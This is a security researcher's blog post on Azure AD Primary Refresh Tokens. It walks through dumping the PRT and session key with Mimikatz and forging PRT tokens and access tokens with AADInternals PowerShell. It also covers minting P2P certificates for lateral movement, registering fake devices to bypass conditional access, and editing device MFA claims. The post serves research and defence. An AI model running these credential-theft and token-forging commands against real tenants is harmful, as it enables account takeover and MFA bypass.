Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert

Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert

Lately we have seen great articles by @_dirkjan, @tifkin_, @rubin_mor, and @gentilkiwi about utilising Primary Refresh Token (PRT) to get access to Azure AD and Azure AD joined computers.

In this blog, I’ll report my own findings regarding to PRT and introduce the new functionality added to AADInternals v0.4.1.

What is PRT

According to Microsoft documentation:

A Primary Refresh Token (PRT) is a key artifact of Azure AD authentication on Windows 10, iOS, and Android devices. It is a JSON Web Token (JWT) specially issued to Microsoft first party token brokers to enable single sign-on (SSO) across the applications used on those devices.

To simplify, it is a token used to identify the user and device. The issued token is valid for 14 days.

So what can we do with the PRT? With the plain token, nothing. We also need a session key, which is issued at the same time than the PRT.

The (Windows 10) computer must be Azure AD joined (or hybrid joined) to be able to get the PRT. According to documentation, during the registration the dsreg component on Windows 10 device creates two key pairs:

  • Device key (dkpub/dkpriv)
  • Transport key (tkpub/tkpriv)

The private keys are (preferably) stored to TPM. The device key is used to identify the device, whereas transport key is used to decrypt the session key. The session key is used as the Proof-of-Possession (POP) key, and also protected by TPM.

Utilising existing PRTs

BrowserCore.exe

As all the keys well protected, how to use them? The easiest way is to let the Windows components do the work for you!

Both @_dirkjan and @tifkin_ showed how Microsoft Edge and Chrome (through the extension) uses BrowserCore.exe to generate a signed PRT token.

The generated token can be used either as a cookie or http request header, both named as x-ms-RefreshTokenCredential.

In AADInternals, I’m using @_dirkjan’s approach to send the requests to stdin of BrowserCore.exe and read the results from stdout. I’ve added -PRTToken parameter to Get-AADIntAccessTokenFor<service> functions so you can pass the prt token to get the access token.

Note! On some computers I’ve tested, getting the token may fail every now and then.

# Get the PRToken

$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

The nicest thing here is that if the PRT was issued with MFA, the resulting access token also has the MFA claim!

Update on Sep 29th 2020:
It seems that PRT tokens must now include the request_nonce. If not, Azure AD sends a redirect with sso_nonce which must be added to the PRT token. This means that without access to session key, PRT tokens can’t be used anymore.

The Mimikatz way

The Mimikatz release 2.2.0Azure Pass-the-PRT has everything needed for extracting the PRT and session key.

Note! Below I’m using a virtual machine without TPM. Mimikatz may behave differently on a computer with TPM.

First step is to launch the mimikatz and get the debug privilege:

mimikatz # privilege::debug
Privilege ' 20' OK

Next we dump the CloudAP stuff:

mimikatz # sekurlsa::cloudap

The output contains a lot of users, but we are interested here on those having AzureAD as their domain:

Authentication Id : 0 ; 4482338 (00000000:00446522)
Session           : Interactive from 3
User Name         : TestUser
Domain            : AzureAD
Logon Server      : (null)
Logon Time        : 01/09/2020 9.47.35
SID               : S-1-12-1-xx-xx-xx-xx
        cloudap :
             Cachedir : 15aab9d31109bbf8a2d0741b09cd5c0a05840d1fe788d513ee97715be0a19e5f
             Key GUID : {63502e91-4f44-43e9-8dc4-870d275383c5}
             PRT      : {"Version":3, "UserInfo":{"Version":2, "UniqueId":"651ff3d8-3c71-45e8-8a7a-7f382f655099", "PrimarySid":"S-1-12-1-1696592856-1172847729-947878538-2572182831", "DisplayName":"Diego Siciliani", "FirstName":"Diego", "LastName":"Siciliani", "Identity":"DiegoS@contoso.myo365.site", "PasswordChangeUrl":"https:\/\/portal.microsoftonline.com\/ChangePassword.aspx", "PasswordExpiryTimeLow":3583418367, "PasswordExpiryTimeHigh":2147483446, "PublicInfoPublicKeyType":0, "Flags":0}, "Prt":"MC5BQUFBeGt3RFJMN19mRVNvbms3SXhzaTc3b2M3cWpodG9...aG1ianRuMk83QmtJdkg0QXNVRXp6dWhQX3ZwZ2ZNLWppYw", "PrtReceivedtime":1598942856, "PrtExpirytime":1600152597, "ProofOfPossesionKey":{"Version":1, "KeyType":"ngc", "KeyValue":"AQAAAAEAAAABAAAA0Iyd3wEV0RGMegDAT8KX6...a_uuJVo86iywLqs0yh0sHCsGKd0rgqWrrQGMEQSSeq9E0znadE"}, "SessionKeyImportTime":1598942856, "TenantId":"44034cc6-ffbe-447c-a89e-4ec8c6c8bbee", "UserName":"DiegoS@contoso.myo365.site", "Subject":"0F_C1Khd7aizs-9miof-mezPCbhvdR9kd7CCOUhGg3I", "AuthorityUri":"https:\/\/login.microsoftonline.com", "DeviceId":"0c36183d-f45b-4973-9047-71856c6c24b3", "DeviceCertificateThumbprint":"qyc+i5KH3DL9k5M3K9gmLGpYdsk=", "EnterpriseSTSInfo":{"Version":0, "PRTSupported":0, "WinHelloSupported":0, "WinHelloKeyReceiptSupported":0}, "IsRestricted":0, "CredentialType":1, "DsrInstance":0, "AdfsPasswordChangeInfo":0, "AccountType":1, "IsDefaultPasswordChangeUri":0}
             DPAPI Key: 061a521d6d93dadea48b5...83c4cc08fc577859ec0d0224 (sha1: 2ad0cf83b8ee8ad4267adc1e4809ab9a8d25f812)

And if we prettify the PRT we can see the following information (Prt and KeyValue truncated):

{
	"Version": 3,
	"UserInfo": {
		"Version": 2,
		"UniqueId": "1e0c26b9-6c98-4a8b-90a9-517fec2e7aa2",
		"PrimarySid": "S-1-12-1-xx-xx-xx-xx",
		"DisplayName": "Test User",
		"FirstName": "Test",
		"LastName": "User",
		"Identity": "TestU@contoso.com",
		"PasswordChangeUrl": "https:\/\/portal.microsoftonline.com\/ChangePassword.aspx",
		"PasswordExpiryTimeLow": 3583418367,
		"PasswordExpiryTimeHigh": 2147483446,
		"PublicInfoPublicKeyType": 0,
		"Flags": 0
	},
	"Prt": "MC5BQUFBeGt3RFJMN19mRVNvbms3SXhzaTc3b2M3cWpodG9...aG1ianRuMk83QmtJdkg0QXNVRXp6dWhQX3ZwZ2ZNLWppYw",
	"PrtReceivedtime": 1598942856,
	"PrtExpirytime": 1600152597,
	"ProofOfPossesionKey": {
		"Version": 1,
		"KeyType": "ngc",
		"KeyValue": "AQAAAAEAAAABAAAA0Iyd3wEV0RGMegDAT8KX6...a_uuJVo86iywLqs0yh0sHCsGKd0rgqWrrQGMEQSSeq9E0znadE"
	},
	"SessionKeyImportTime": 1598942856,
	"TenantId": "1f4b89e3-17eb-409e-864b-ff7ddd0fc4a0",
	"UserName": "TestU@contoso.com",
	"Subject": "0F_C1Khd7aizs-9miof-mezPCbhvdR9kd7CCOUhGg3I",
	"AuthorityUri": "https:\/\/login.microsoftonline.com",
	"DeviceId": "03bbfd6f-0109-428b-93de-e2359a8c3f84",
	"DeviceCertificateThumbprint": "qyc+i5KH3DL9k5M3K9gmLGpYdsk=",
	"EnterpriseSTSInfo": {
		"Version": 0,
		"PRTSupported": 0,
		"WinHelloSupported": 0,
		"WinHelloKeyReceiptSupported": 0
	},
	"IsRestricted": 0,
	"CredentialType": 1,
	"DsrInstance": 0,
	"AdfsPasswordChangeInfo": 0,
	"AccountType": 1,
	"IsDefaultPasswordChangeUri": 0
}

Next, we need to decode the KeyValue from ProofOfPossesionKey (MS typo :thinking:?) to get the session key. We continue by elevating to NT AUTHORITY\SYSTEM:

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

Now we can use Mimikatz to unprotect the session key:

mimikatz # dpapi::cloudapkd /keyvalue:AQAAAAEAAAABAAAA0Iyd3wEV0RGMegDAT8KX6...a_uuJVo86iywLqs0yh0sHCsGKd0rgqWrrQGMEQSSeq9E0znadE /unprotect
Label      : AzureAD-SecureConversation
Context    : b10e7c099040ebb7a15a6cab38ad320a8ef8c68c73c299bf
 * using CryptUnprotectData API
Key type   : Software (DPAPI)
Clear key  : e5268ef434fb624db4b133cf9f0854d73d367284b0f39543810587afd5d4178d
Derived Key: ddd22d1244a43095a866b666ef9f0cab9c8d7bb364256548a6e603466d800604

As we have both the PRT and the session key (Clear key from the output above) and we can generate a new PRT token using AADInternals:

# Add the PRT to a variable

$MimikatzPRT = "MC5BQUFBeGt3RFJMN19mRVNvbms3SXhzaTc3b2M3cWpodG9...aG1ianRuMk83QmtJdkg0QXNVRXp6dWhQX3ZwZ2ZNLWppYw"

# Add padding

while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64

$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable

$MimikatzKey = "e5268ef434fb624db4b133cf9f0854d73d367284b0f39543810587afd5d4178d"

# Convert to byte array and base 64 encode

$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce

$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce

# Get an access token for AAD Graph API and save to cache

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -SaveToCache

At some point in September 2020 Microsoft changed (fixed?) the authentication flow of PRTTokens to require a nonce.

With the session key and PRT, the new PRT tokens can be created as long as the PRT is valid.

As @rubin_mor demonstrated, we can also use the session key and PRT to get a Azure AD P2P certficate. The certificate, in turn, can be used to get access to other computers joined to the same Azure AD tenant.

Continuing the previous example, we can get the certificate with AADInternals:

# Generate a new P2P certificate

New-AADIntP2PDeviceCertificate -RefreshToken $PRT -SessionKey $SKey
Output:

User certificate successfully created:
  Subject:         "CN=TestU@contoso.com, CN=S-1-12-1-xx-xx-xx-xx, DC=0f73eaa6-7fd6-48b8-8897-e382ba96daf4"
  Issuer:          "CN=MS-Organization-P2P-Access [2020]"
  Cert thumbprint: A7F1D1F134569E0234E6AA722354D99C3AA68D0F
  Cert file name : "TestU@contoso.com-P2P.pfx"
  CA file name :   "TestU@contoso.com-P2P-CA.der"

The generated certificate can be used with AzureADJoinedMachine by @rubin_mor to access other Azure AD joined machines.

How to create a PRT token?

It was quite easy to dump required information using Mimikatz. But how is the PRT token actually created? The answer is by creating a JWT and signing it with a key that is derived from context and session key.

The context is a Base 64 encoded random byte array (24 bytes) and it is added to the JWT header: Note! All slashes ‘/’ must be escaped with back slashes ‘\’

{
	"alg": "HS256",
	"typ": "JWT",
	"ctx": "x9XSurmy8TmcsJUgxq\/IT5TJg73fgiKj"
}

The body of the JWT contains the is_primary (always true), iat (unix time = seconds since 1.1.1970) and refresh_token (PRT).

{
	"is_primary": "true",
	"iat": 1598958425,
	"refresh_token": "0.AAAAxkwDRL7_fESonk7Ixsi77oc7qjhtoBdIsnV6MWmI2TtfAM8.AgABAAAAAAAGV_bv21oQQ4ROqh0_1-tAAQDs_wIA9P-ojLeOCNV0dCFvHzSo64nTRhq19kM_getBIkw-QN87pYh7_AnHZirEP1K55AoxUaTHJdtttzb4xJuf_yG30jr5z034xffcW4e_EXuAfQJ6fR9FFi2-YslwAKSUAlLagdQMXLzyv5x_FcVpdvcUq3NgbmUTY9WaNSwiswoTC_aD9N1vV3_EPEQ7VSXpLOzzTc1QnlQtI0IwtUdyLdHckjVu6fphMYMXB82f472D684rfYczD7mp-hyYRZS3AQNtPsit1t9poiZ6_T5ExKDt55_5XQ6rRvXmAG3cfm362LB8wmADQdMNnczyUZlyFJbYV952cLL71a3bkB7w9avy1N_WHEAm5p-5GpXI0RdXppllFznBzH0B7iN6e1XSb_WLWCCGy9jLNTEtYr_vhK4XVnyWY0KPOmu7aATkotNnWOIQUt8gPZrMM8Q8TDF7XISrt90NFlo2FADs77yaqhvhwAaQH5we8YNC4fJ9AQX0wz7f4zjc-bLoZRSvuKwC4uG1mRs8cCoEncsMlSQWIBfI50q7kKife-k95dXlRqmtEVdIqZCJVBO4xwFYWUgRBzU2FVGurYxFwVVjvPHoKRBJ4l9bcvtSw4eb0MuovLmTVa5vLrlZd-cPi3sj-ESDA-LtJi_W71vPCnXsmk8Iw4u6w-GmmIFq1l1mn9wizHIFDLCKKqQuqVjo0cB-PQ9kcSyWXNwOlGF_prK6Og8EpNkjzMBrczKpFIVr6t7yxmSPc-JFeMSK2vPxtun2vng035O226b7LvbfpKgezfENXjBHvBP10qbXi1o0WWpf7P_gxZH9h4roFM0qyxt5Y8dqiCOb2NnJeEDJ_yuK54a2TdA6LsLuxdssW1lUkXUTtwkT0vKnZ0SRJtieujiCZ-Vj-E2469NgQn7qEAeYtS9zRbL3PVS5iw4o2kJenXQJNxMbxfmZh1rcGwxIyhltmQuoGUMF6gXGxKXSPJH6goSz1Wej0mQSMgdh7GneK50Npaeg6FZHZhxHpxtzEkWQRYSNZoNUOlo5Zv_3dZhB9LDvsFrnfr34IPeElFO6m0u3vGD8hY3RMkwO7oeRy9ufvnAcZ1kaP0QM7LmSglq_1cX_rhFlft7TVBYMcAOzoxr076ZU04IS3ON88dljGYUX2BF2a4TyZTyfjMT3diAuufJW_99ITDQ6QvkzZklaGWlsEdysa_oQ85OXPuBkVcBgzTsr_urKXN1j6L1U"
}

Both the header and body are separately encoded (Byte 64), the padding is removed, and they are concatenated using a period ‘.’ as a separator. The result is turned into a byte array (UTF-8 encoding) and signed.

The key used to sign the JWT is derived from the session key and context, as explained by @_dirkjan. He used BCryptKeyDerivation to derive the key. The key derivation is using NIST SP 800-108 KDF key derivation function, which I already knew from Export-AADIntADFSSigningCertificate.

As the signature is 256 bit (32 bytes) long, deriving the key was a walk in the park (wearing :mask:).

The key is derived by calculating a HMACSHA256 value from the following byte array using the session key as the secret:

0x00, 0x00, 0x00, 0x01, <label>, 0x00, <context>, <length>

The parameters used are explained below.

Note! The “AzureAD-SecureConversation” is a fixed label.

Parameter Description Value Bytes
label UTF8 encoded byte array of the key label. “AzureAD-SecureConversation” 0x41, 0x7A, 0x75, 0x72, 0x65, 0x41, 0x44, 0x2D, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6F, 0x6E
context UTF8 encoded byte array of the context. “x9XSurmy8TmcsJUgxq/IT5TJg73fgiKj” 0xC7, 0xD5, 0xD2, 0xBA, 0xB9, 0xB2, 0xF1, 0x39, 0x9C, 0xB0, 0x95, 0x20, 0xC6, 0xAF, 0xC8, 0x4F, 0x94, 0xC9, 0x83, 0xBD, 0xDF, 0x82, 0x22, 0xA3
length 32 bit integer, length of the key in bits. 256 0x00, 0x00, 0x01, 0x00

The final byte array from where the HMACSHA256 is calculated:

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   00 00 00 01 41 7A 75 72 65 41 44 2D 53 65 63 75  ....AzureAD-Secu
00000010   72 65 43 6F 6E 76 65 72 73 61 74 69 6F 6E 00 C7  reConversation.Ç
00000020   D5 D2 BA B9 B2 F1 39 9C B0 95 20 C6 AF C8 4F 94  ÕÒº¹²ñ9œ°• ƯÈO”
00000030   C9 83 BD DF 82 22 A3 00 00 01 00                 Ƀ½ß‚"£....  

After calculating the HMACSHA256, the resulting byte array can be used to sign the JWT. The base 64 encoded signature (padding removed) is appended to the end of header and body using the period ‘.’ as the separator.

Creating your own PRT

One interesting thing in the cloud-era is that everything you do with the devices or clients involves communication with the cloud. This is also the case with PRT.

As explained in the documentation, there are a lot of steps involved in joining a device to Azure AD.

And because I can, I decided to implement the registration process to AADInternals!

The first step is to get an access token for appid 1b730954-1685-4b74-9bfd-dac224a7b894 with 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 audience. The following command will prompt for credentials and MFA:

# Get an access token for AAD join and save to cache

Get-AADIntAccessTokenForAADJoin -SaveToCache

Now we can join our imaginary device to Azure AD:

# Join the device to Azure AD

Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"
Output should be similar to below. The device is now registered and the corresponding certificate is saved to the current directory.

Device successfully registered to Azure AD:
  DisplayName:     "My computer"
  DeviceId:        d03994c9-24f8-41ba-a156-1805998d6dc7
  Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
  Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
  S-1-5-32-544
Additional SIDs:
  S-1-12-1-797902961-1250002609-2090226073-616445738
  S-1-12-1-3408697635-1121971140-3092833713-2344201430
  S-1-12-1-2007802275-1256657308-2098244751-2635987013

The whole process is as follows.

  1. A new RSA key pair is generated for the device (dkpub/dkpriv).
  2. A certificate signing request (CSR) is generated for the name “CN=7E980AD9-B86D-4306-9425-9AC066FB014A”
  3. A http request is made to “https://enterpriseregistration.windows.net/EnrollmentServer/device/?api-version=1.0" to register the device to Azure AD

The request body sent to Azure AD:

{
	"CertificateRequest": {
		"Type": "pkcs10",
		"Data": "MIICdDCCAVwCAQAwLzEt...BAqsCDnqheld6IIgBC4GueLq+hrmu/7KjiHPQ="
	},
	"TransportKey":      "UlNBMQAIAAADAAAAAAEAAAAAAAAAAA...1EqIHM2S/iUkPtr5vNmKKa7zTQeWtRCSzzbZUfE0C3RQ==",
	"TargetDomain":      "contoso.com",
	"DeviceType":        "Commodore",
	"OSVersion":         "C64",
	"DeviceDisplayName": "My computer",
	"JoinType":           0,
	"attributes": {
		"ReuseDevice":     "true",
		"ReturnClientSid": "true"
	}
}

Attribute Description
CertificateRequest\Data The base 64 encoded CSR (dkpub)
TransportKey The base 64 encoded raw public key of the transport key (tkpub).

Note! AADInternals uses the device certificate’s private key to make things easier.
TargetDomain UPN suffix of the user
DeviceDisplayName The display name of the device.
DeviceType A string describing the type of the device. Usually something like “Windows” or “Android”.
OSVersion A string describing the OS version of the device. Usually something like “10.0.18363.0” or “8.1.0”
JoinType Type of the Azure AD Join. 0=AAD Join, 4=AAD register

The return value contains the signed public certificate of the device (dkpub) and its thumb print:

{
	"Certificate": {
		"Thumbprint": "78CC77315A100089CF794EE49670552485DE3689",
		"RawBody": "MIID8jCCAtqgAwIBAgIQ...ceSgJZ7PGsxXF93b7yJ2zBlKFUJp7yMTm0esNaM/yDQpZ29SB4BMgtPJghsMUzyDSUQEIS8zc00ozZd2HQ8s+"
	},
	"User": {
		"Upn": "TestU@contoso.com"
	},
	"MembershipChanges": [{
			"LocalSID": "S-1-5-32-544",
			"AddSIDs": ["S-1-12-1-797902961-1250002609-2090226073-616445738", "S-1-12-1-3408697635-1121971140-3092833713-2344201430", "S-1-12-1-2007802275-1256657308-2098244751-2635987013"]
		}
	]
}

With the newly created device certificate, we can now request a new PRT keys and create PRT tokens!

The following command prompts for user’s credentials and requests new PRT and session key from Azure AD.

# Get the PRT keys using the device certificate

$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
As the output indicates, the keys are also saved to a JSON file:

Keys saved to d03994c9-24f8-41ba-a156-1805998d6dc7.json

The return value is similar to the following JSON. The PRT is returned in refresh_token and the encrypted session key in session_key_jwe.

{
	"token_type": "Bearer",
	"expires_in": "1209599",
	"ext_expires_in": "0",
	"expires_on": "1600160796",
	"refresh_token": "0.AAAAxkwDRL7_f...TVBYMcAOzoxr076ZU04IS3ON88dljGYUX2BF2a4TyZTyfjMT3diAuufJW_99ITDQ6QvkzZklaGWlsEdysa_oQ85OXPuBkVcBgzTsr_urKXN1j6L1U",
	"refresh_token_expires_in": 1209599,
	"id_token": "eyJ0eXAiOiJ...m15bzM2NS5zaXRlIiwidmVyIjoiMS4wIn0.",
	"session_key_jwe": "eyJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.CP7m_pNSAtchTvUPOPSA24Al7NgeetJXWqma8maQ19xikVUdVZEUEuJy3LoT6oWHRLsP4_BVmfoux_sNtotlmpHDS9kIGWdGkX-tFN3OuZHV954lCIRwa8WMh035RpfAZyCAwi_hfjz_Jx1y6Z7Q8vEa8EBGDxUN14kag81TsBFONFMHztQmwLhJ89pqoxlmn64sb0ctp2YmYpuATg7pCb3gwdDyiH9JUG3ZAndkkahnch24Wxnx0xPs1gwcKYdGg8gdpjrlsAroWvh2zD8Z6gReKBldt3BiJg3Z7QtUJgQIDg-FHkxyNavdb7OPSUR4nO-4MbA_H_7Dm8pTbKYHVA.MPpemDdwWCf9LSvv.jw.Hl5eNegOGoiYxgTKrxYLcw"
}

The header of the sessio_key_jwe indicates that the key is encrypted using RSA-OAEP algorithm.

{
	"enc": "A256GCM",
	"alg": "RSA-OAEP"
}

Luckily, this was easy to decrypt in PowerShell:

# Note: Private key is assumed to be present in $PrivateKey variable


# Get the encrypted key from the session_key_jwe (between the first and second period '.' )

$JWE = "eyJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.CP7m_pNSAtchTvU...l5eNegOGoiYxgTKrxYLcw"
$encKey =  [convert]::FromBase64String($JWE.Split(".")[1])

# Decrypt the key using the private key of transport key (tkpriv)

$decKey = [System.Security.Cryptography.RSAOAEPKeyExchangeDeformatter]::new($PrivateKey).DecryptKeyExchange($encKey)

AADInternals adds the decrypted session key to session_key field of the JSON file before saving/returning it. As such, we can easily pass the returned $prtKeys as settings when creating new PRT tokens:

# Get the PRT keys using the device certificate

$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx

# Generate a new PRTToken using the PRT keys

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GetNonce

# Get an access token for AAD Graph API and save to cache

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -SaveToCache

We can also use the generated device certificate to get P2P certificate for the device itself!

# Get the new P2P device certificate

New-AADIntP2PDeviceCertificate -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -TenantId 4169fee0-df47-4e31-b1d7-5d248222b872 -DeviceName "mypc1.company.com"
Device certificate successfully created:
  Subject:         "CN=d03994c9-24f8-41ba-a156-1805998d6dc7, DC=4169fee0-df47-4e31-b1d7-5d248222b872"
  DnsName:         "mypc1.company.com"
  Issuer:          "CN=MS-Organization-P2P-Access [2020]"
  Cert thumbprint: 84D7641F9BFA90767EA3456E443E21948FC425E5
  Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P.pfx"
  CA file name :   "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P-CA.der"

The generated certificate can be used with AzureADJoinedMachine by @rubin_mor to access other Azure AD joined machines.

PRT and MFA claims

As the documentation states, the PRT has MFA claim if the PRT was acquired using some form of MFA.

Based on my research, this information is stored to Azure AD device object. And, of course, this can be edited after the device is registered..

You can use any of the following methods from MS access tokens documentation:

Value Description
pwd Password authentication, either a user’s Microsoft password or an app’s client secret.
rsa Authentication was based on the proof of an RSA key, for example with the Microsoft Authenticator app. This includes if authentication was done by a self-signed JWT with a service owned X509 certificate.
otp One-time passcode using an email or a text message.
fed A federated authentication assertion (such as JWT or SAML) was used.
wia Windows Integrated Authentication
mfa Multi-factor authentication was used. When this is present the other authentication methods will also be included.
ngcmfa Equivalent to mfa, used for provisioning of certain advanced credential types.
wiaormfa The user used Windows or an MFA credential to authenticate.
none No authentication was done.

To see the methods of the device, use the following commands:

# Get access token 

Get-AADIntAccessTokenForAADGraph -SaveToCache

# Get the authentication methods

Get-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"

pwd

The output will be the list of all authentication methods used while registering the device. In the example above, the device was registered using password authentication method.

However, if you are a Global Admin, you can edit this :ok_hand: The example below sets password, device certificate and MFA authentication methods for the device.

# Set the authentication methods

Set-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -Methods pwd,rsa,mfa
pwd
rsa
mfa

Now all the access tokens acquired using the PRT of the device will include pwd, rsa, and mfa claims! This way you can change the authentication behaviour of devices.

Note: PRT claims are inherited only if the access token is acquired by the owner of the device!

Summary

The PRT tokens can be easily created with Windows components for the current user. But the two main incredients, the session key and the PRT itself, are much harder to get access to. With Mimikatz, however, these can be exported (at least from the machine without TPM)

We also learned how easy it is to “create” your own devices, register them to Azure AD, and get access to device certificates. With those certificates, we were able to create a new PRT with the corresponding session token.

After getting access to session key and PRT, we were able to create our own PRT tokens, and with them get access tokens to Azure AD / Office 365 services. Also, we were able to create P2P Azure AD device and user certificates, which could be used to laterally access other Azure AD joined computers of the same tenant.

By joining our own “devices” to Azure AD and acquiring PRT tokens for those devices, it is possible to “emulate” corporate computers and bypass certain conditional access (CA) policies based on the device state.

What next?

Next I’ll continue to explore Azure MDM and MAM to see whether it would be possible to emulate device compliance. But that’s another story!

References

Dr Nestori Syynimaa (@DrAzureAD) avatar
About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Principal Identity Security Researcher at Microsoft Security Research.
Before his security researcher career, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Entra ID (Azure AD) security.

Before joining Microsoft, Dr Syynimaa was Microsoft MVP in security category and Microsoft Most Valuable Security Researcher (MVR).